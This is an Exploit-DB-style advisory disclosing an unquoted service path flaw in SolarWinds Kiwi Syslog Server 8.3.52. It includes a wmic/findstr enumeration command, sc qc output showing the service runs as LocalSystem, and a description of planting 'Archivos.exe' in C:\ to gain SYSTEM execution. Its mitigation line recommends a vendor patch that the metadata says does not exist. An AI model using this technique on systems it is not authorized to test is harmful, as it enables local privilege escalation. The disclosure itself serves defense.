SolarWinds Kiwi Syslog Server 8.3.52 - 'Kiwi Syslog Server' Unquoted Service Path

vendor:

Kiwi Syslog Server

by:

Carlos A Garcia R

N/A

CVSS

MEDIUM

Unquoted Service Path

428

CWE

Product Name: Kiwi Syslog Server

Affected Version From: 8.3.52

Affected Version To: 8.3.52

Patch Exists: NO

Related CWE:

CPE: a:solarwinds:kiwi_syslog_server:8.3.52

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional Service Pack 3

2019

SolarWinds Kiwi Syslog Server 8.3.52 – ‘Kiwi Syslog Server’ Unquoted Service Path

The SolarWinds Kiwi Syslog Server 8.3.52 software has an unquoted service path vulnerability. This allows an attacker to place an executable named 'Archivos.exe' in the root directory and have it executed as the Local System user when the service is restarted.

Mitigation:

Apply the vendor-supplied patch to fix the unquoted service path vulnerability. Additionally, ensure that all software on the system is up to date.

Source

Exploit-DB raw data:

# Exploit Title: SolarWinds Kiwi Syslog Server 8.3.52 - 'Kiwi Syslog Server' Unquoted Service Path
# Date: 2019-11-08
# Exploit Author: Carlos A Garcia R
# Vendor Homepage: https://www.kiwisyslog.com/
# Software Link: https://www.kiwisyslog.com/downloads
# Version: 8.3.52
# Tested on: Windows XP Professional Service Pack 3

# Description:
# SolarWinds Kiwi Syslog Server 8.3.52 is an affordable software to manage syslog messages, SNMP traps, and Windows event logs

# PoC:

# C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Kiwi Syslog Server	Kiwi Syslog Server	C:\Archivos de programa\Syslogd\Syslogd_Service.exe	Auto

# C:\>sc qc "Kiwi Syslog Server"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: Kiwi Syslog Server
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Archivos de programa\Syslogd\Syslogd_Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Kiwi Syslog Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

 
# Exploit
Using the BINARY_PATH_NAME listed above, an executable named "Archivos.exe" 
could be placed in "C:\", and it would be executed as the Local System user 
next time the service was restarted.